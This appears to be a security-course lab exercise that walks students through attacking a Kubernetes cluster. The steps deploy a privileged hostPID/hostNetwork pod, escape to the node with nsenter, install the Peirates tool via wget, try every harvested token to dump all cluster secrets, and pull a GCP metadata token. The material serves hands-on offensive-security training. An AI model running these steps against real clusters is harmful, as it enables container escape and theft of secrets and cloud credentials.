Exercise: Peirates - New

Steps

1. (*NOTE: You'll only need to do this step if you skipped the Kubernetes Cloud Attacks exercise*).

   The course proctors will provide you with a cloud cluster ID number (`N`). Store this number in your shell profile in a new variable `CLOUD_ID`, and then read this new variable into your environment now:

   ```
   # Replace the "N" in `CLOUD_ID=N` with the ID number provided by the proctors
   echo "export CLOUD_ID=N" >> ~/.bashrc
   source ~/.bashrc
   ```

2. We'll be using the same cloud cluster as in Kubernetes Cloud Attacks, so let's set an `alias`:

   ```
   alias kubectl="/home/lockthisdown/K8S-Exercise/kubectl \
   --server=$(cat /sync/.cloud_clusters/serverip-$CLOUD_ID ) \
   --token=$(cat /sync/.cloud_clusters/token-cluster-$CLOUD_ID ) \
   --certificate-authority=/sync/.cloud_clusters/ca.crt-$CLOUD_ID"
   ```

3. Create a pod manifest for a pod with a privileged container in it.

   ```
   kubectl --dry-run=client -o json run priv-hostpid-hostnetwork --image=bustakube/alpine-
   ```

4. Now use jq to set the hostPID and hostNetwork fields in the spec to true.

   ```
   cat pod-priv.json | jq .spec.hostPID="true" | jq '.spec.hostNetwork=true' >pod-priv-hos
   ```

5. Create the pod on the cluster:

   ```
   kubectl create -f pod-priv-hostpid-hostnet.json
   ```

6. Exec into the pod:

   ```
   kubectl exec -it priv-hostpid-hostnetwork -- /bin/bash
   ```

7. Now use nsenter to start a shell that's in the same mount Linux kernel namespace as systemd (the PID 1 process):

   ```
   nsenter --mount=/proc/1/ns/mnt -- /bin/bash
   ```

8. Don't worry about the error message about not finding a group ID's name. Use wget to pull down the latest version of Peirates, un-tar it, and put it in /usr/bin/ on the node's filesystem.

```
wget https://github.com/inguardians/peirates/releases/download/v1.1.10/peirates-linux-a
tar -xvf peirates-linux-amd64.tar.xz
mv peirates-linux-amd64/peirates /usr/bin/
chmod 755 /usr/bin/peirates
```

9. Run peirates:

```
peirates
```

10. Note that Peirates has found the kubelet certificate, as well as several secrets that contained service account tokens. When you're done seeing this, hit enter to continue.

```
<hit enter>
```

11. Note that the first option on the menu mentions that you can use `switchsa` to switch service accounts. Try it:

```
switchsa
```

12. Choose the first service account token from the list.

```
0
```

13. Hit enter to continue to the main menu.

```
<hit enter>
```

14. Try a `kubectl` command from within Peirates:

```
kubectl get secrets
```

15. You are likely told this service account isn't permitted to list secrets.
16. Hit enter to continue back to the main menu.

```
<hit enter>
```

17. Now try `kubectl-try-all` for the same command:

```
kubectl-try-all get secrets
```

18. You now see peirates try every service account token and client key/cert pair until it finds one that can list secrets.
19. Hit enter to continue back to the main menu.

```
<hit enter>
```

20. Now use this feature to go for the gold - try to get the contents of all secrets in the cluster:

```
kubectl-try-all get secrets --all-namespaces -o yaml
```

21. Hit enter to continue back to the main menu.

    ```
    <hit enter>
    ```

22. Get an access token from the GCP metadata API.

    ```
    get-gcp-token
    ```

23. Play around if you like or ask for demos.